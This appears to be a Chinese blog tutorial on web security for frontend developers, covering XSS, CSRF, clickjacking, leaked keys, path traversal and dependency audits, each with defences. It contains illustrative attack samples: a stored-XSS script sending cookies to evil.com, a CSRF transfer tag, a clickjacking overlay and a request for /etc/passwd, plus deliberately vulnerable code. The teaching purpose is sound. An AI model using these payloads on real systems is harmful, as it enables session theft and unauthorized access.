Web 安全:前端开发者需要知道的
说实话,刚入行的时候我对安全没啥概念。SQL 注入?XSS?听起来很遥远。
直到有一次,我写的表单被安全团队扫出漏洞,才意识到安全不是后端的事,前端也得管。
XSS(跨站脚本攻击)
最常见的漏洞,没有之一。
反射型 XSS
攻击者构造恶意 URL,诱骗用户点击:
https://example.com/search?q=<script>alert('xss')</script>
如果后端直接把 q 参数输出到页面,脚本就会执行。
存储型 XSS
恶意脚本被存到数据库,每次访问都会执行。危害更大。
曾经有个评论区,用户可以输入任意内容。有人提交了:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
所有看到这条评论的用户,Cookie 都被盗了。
防护
1. 输出编码
永远不要信任用户输入,输出前先编码:
// React 会自动编码
<div>{userInput}</div>
// 但 dangerouslySetInnerHTML 不会
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // 危险!
Vue 的 v-html 同样危险:
<!-- 危险 -->
<div v-html="userInput"></div>
<!-- 安全 -->
<div>{{ userInput }}</div>
2. CSP(内容安全策略)
限制脚本的执行来源:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com">
这样即使有 XSS 漏洞,内联脚本和外部恶意脚本也无法执行。
CSRF(跨站请求伪造)
攻击者诱导用户访问恶意网站,在用户不知情的情况下发送请求。
假设用户已登录 bank.example.com,恶意网站有:
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
如果银行网站只靠 Cookie 验证身份,转账就会成功。
防护
1. CSRF Token
后端生成随机 Token,前端提交时带上:
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="${csrfToken}">
<!-- 其他字段 -->
</form>
2. SameSite Cookie
设置 Cookie 的 SameSite 属性:
Set-Cookie: session=abc123; SameSite=Strict
Strict:完全禁止跨站请求携带 Cookie
Lax:允许安全的跨站请求(如导航)
None:允许所有跨站请求(需要配合 Secure)
现代浏览器默认是 Lax,大部分场景够用了。
3. 双重 Cookie 验证
前端从 Cookie 读取 Token,放到请求头里。原理是第三方网站无法读取本站的 Cookie。
Clickjacking(点击劫持)
攻击者把目标网站嵌入 iframe,用透明层覆盖,诱导用户点击。
<iframe src="https://bank.example.com" style="opacity: 0.01; position: absolute;"></iframe>
<button style="position: absolute; top: 100px; left: 100px;">领取优惠券</button>
用户以为点的是按钮,实际点的是 iframe 里的转账按钮。
防护
X-Frame-Options
X-Frame-Options: DENY
禁止网站被嵌入 iframe。
CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'self'
更灵活,可以指定允许的来源。
敏感信息泄露
前端代码里写死密钥,是最常见的低级错误:
// 危险!
const API_KEY = 'sk-live-xxxxx';
const DB_PASSWORD = 'password123';
fetch(`https://api.example.com?key=${API_KEY}`);
打包后的代码只是压缩了,不是加密。任何人都能看到。
防护
- 敏感操作放后端
- 使用环境变量(但
.env文件不要提交到 Git) - 前端只存 Token,不存密钥
// 正确做法
const response = await fetch('/api/data'); // 后端处理鉴权
路径遍历
用户输入作为文件路径的一部分:
// 危险
app.get('/files/:name', (req, res) => {
res.sendFile(`/uploads/${req.params.name}`);
});
攻击者可以访问任意文件:
GET /files/../../../etc/passwd
防护
import path from 'path';
app.get('/files/:name', (req, res) => {
const name = req.params.name;
const safePath = path.join('/uploads', path.basename(name)); // 只保留文件名
res.sendFile(safePath);
});
依赖安全
npm 包很多,漏洞也很多。
# 检查已知漏洞
npm audit
# 自动修复
npm audit fix
建议在 CI 里加入自动检查:
# GitHub Actions
- name: Security Audit
run: npm audit --audit-level=high
总结
| 漏洞类型 | 核心防护 |
|---|---|
| XSS | 输出编码、CSP |
| CSRF | CSRF Token、SameSite Cookie |
| Clickjacking | X-Frame-Options |
| 信息泄露 | 密钥不存前端 |
| 路径遍历 | 校验用户输入 |
| 依赖漏洞 | npm audit |
安全不是一次性的事,需要持续关注。推荐关注几个安全博客,定期更新知识。
最后,写代码的时候多想一步:如果我是攻击者,我会怎么利用这段代码?